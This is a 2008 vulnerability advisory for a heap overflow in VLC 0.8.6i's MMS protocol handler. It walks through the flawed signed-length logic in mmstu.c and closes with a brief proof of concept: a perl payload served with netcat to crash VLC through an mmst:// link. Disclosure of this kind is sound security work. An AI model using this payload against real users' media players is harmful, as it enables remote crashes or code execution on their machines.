SecurityReason - VLC 0.8.6i MMS Protocol Handling Heap Overflow PoC

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- - Orange Bat advisory -

Name : VLC 0.8.6i MMS Protocol Handling
Class : Heap Overflow
Published : 2008-08-24
Credit : g_ (g_ # orange-bat # com)

- - Details -

This can be exploited from remote. User have to open mmst://
link poiting to server controlled by the attacker.

vlc\modules\access\mms\mmstu.c :

static int mms_ReceiveCommand( access_t *p_access )
{
access_sys_t *p_sys = p_access->p_sys;

for( ;; )
{
int i_used;
int i_status;

if( NetFillBuffer( p_access ) < 0 )
{
msg_Warn( p_access, "cannot fill buffer" );
return VLC_EGENERIC;
}
if( p_sys->i_buffer_tcp > 0 )
{
[1] i_status = mms_ParseCommand( p_access, p_sys->buffer_tcp,
p_sys->i_buffer_tcp, &i_used );
[2] if( i_used < MMS_BUFFER_SIZE )
{
[3] memmove( p_sys->buffer_tcp, p_sys->buffer_tcp + i_used,
MMS_BUFFER_SIZE - i_used ); //BUG! i_used
overflow

(...)

[1] - function that sets i_used to negative value, see below
[2] - i_used is signed, so predicate is true
[3] - actual overflow, we have good control over what is written

static int mms_ParseCommand( access_t *p_access,
uint8_t *p_data,
int i_data,
int *pi_used )
(...)
i_length = GetDWLE( p_data + 8 ) + 16;
(...)
if( i_length > p_sys->i_cmd )
{
msg_Warn( p_access,
"truncated command (missing %d bytes)",
i_length - i_data );
p_sys->i_command = 0;
return -1;
}
[1] else if( i_length < p_sys->i_cmd )
{
p_sys->i_cmd = i_length;
[2] *pi_used = i_length;
}

(...)

[1] - predicate is true
[2] - sets i_used from mms_ReceiveCommand

- - Proof of concept -

on localhost:

perl -e 'print "aaaa\xce\xfa\x0b\xb0\xef\xff\xef\xff"; print "a"x100' >
headshot
nc -l -v -p 1755 < headshot

open this url in VLC:

mmst://127.0.0.1/

boom! headshot :)

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